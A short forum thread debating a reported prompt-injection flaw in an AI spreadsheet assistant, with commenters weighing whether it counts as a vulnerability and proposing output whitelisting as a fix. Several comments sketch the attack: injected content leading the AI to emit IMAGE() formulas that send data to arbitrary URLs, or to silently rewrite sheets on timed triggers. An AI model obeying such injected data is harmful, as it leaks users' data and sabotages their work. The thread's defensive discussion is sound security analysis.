[Terr_]

> Untrusted data sources can provide data that causes bad things to occur. If that's a vulnerability, then any application that ingests data is riddled with vulnerabilities.

There's an important difference between "the import had bad numbers so the report is wrong" versus "the import had a virus and now our network is compromised."

They are not the same kind of failure, they don't have the same impacts, and they don't involve the same mechanisms for prevention, detection, or remediation.

[bpt3]

This is a permissions issue with the spreadsheet.

It's not all that different from people realizing that several popular model servers didn't support access control and could execute commands. It's an inherent part of the design that was rather naive from a security perspective, not something that requires coordinated disclosure or the rest of the security theater described in this marketing release.

[adilkhanovkz]

Can be cheap fix here is whitelisting the output? If the AI can only emit a known set of formulas, you can't inject IMAGE() with arbitrary URLs cuz the output channel doesn't support it. You can't inject what the emitter can't produce. Doesn't fix all prompt injection but kills the exfiltration class.

[Terr_]

Exfiltration is merely one of the issues.

The other is that an attacker can sneak something in that arbitrarily rewrites your spreadsheet. Triggers could be on content, or on a pre-planned attack time across many instances. Impacts could be subtly-flawed conclusions, or coarser "it stopped working and the deadline is looming" sabotage.

"Yeah boss, I sent out the checks to every vendor listed in the spreadsheet, what's wrong?"

[bpt3]

The potential issues are innumerable, which is why this breathless "vulnerability" report is pointless.

It's like someone writing a threat report on a car about an individual crash. Did you know cars can cause damage if you're not careful using them?